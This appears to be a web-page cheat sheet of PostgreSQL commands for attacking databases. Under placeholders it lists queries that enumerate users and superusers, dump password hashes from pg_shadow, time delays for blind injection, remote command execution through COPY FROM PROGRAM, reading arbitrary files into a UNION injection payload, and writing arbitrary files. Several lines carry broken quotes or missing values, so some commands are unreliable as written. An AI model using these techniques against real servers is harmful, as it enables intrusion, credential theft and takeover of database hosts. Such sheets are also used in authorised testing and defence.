PostgreSQL
Database commands
Comments
SELECT 1; –comment
SELECT /*comment*/1;Version
SELECT version();Users
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user WHERE usesuper IS TRUE
SELECT usename FROM pg_user;
SELECT getpgusername();
SELECT usename FROM pg_user
CREATE USER <name> PASSWORD '<pass>';
CREATE USER <name> PASSWORD '<pass>′ CREATEUSER;
DROP USER <name>;
ALTER USER <name> CREATEUSER CREATEDB;Privileges
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;Database info
SELECT current_database();
SELECT datname FROM pg_database;
SELECT current_setting(‘<dir>’);
SELECT current_setting(‘<setting hba file>’); List tables
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);List columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public');Filter table by column name
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%<password>%';Access nth row
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET ;String operations
SELECT substr('<str>', <start>, <end>);
SELECT 6 & 2;
SELECT chr(65);
SELECT ascii('A');
SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
SELECT ‘A’ || 'B’;
SELECT CHR(65)||CHR(66);Conditional execution
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns ATime delay
SELECT pg_sleep(<seconds>); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(<seconds>);DNS and HTTP
SELECT * FROM dblink('host=<host> user=<usr> dbname=<bd>', 'SELECT version()') RETURNS (result TEXT);
SELECT inet_server_addr();
SELECT inet_server_port();Passwords
SELECT usename, passwd FROM pg_shadow;Format: MD5
Vulnerabilities
RCE
CREATE TABLE exec(output text);
COPY exec FROM program '<command>';Arbitrary file access
CREATE TABLE mydata(t text);
COPY mydata FROM '<path to file>'; SQLi
…' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET <nth repeat for each row>;Arbitrary file write
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<string>');
COPY mytable (mycol) TO '<dest file>'; Last updated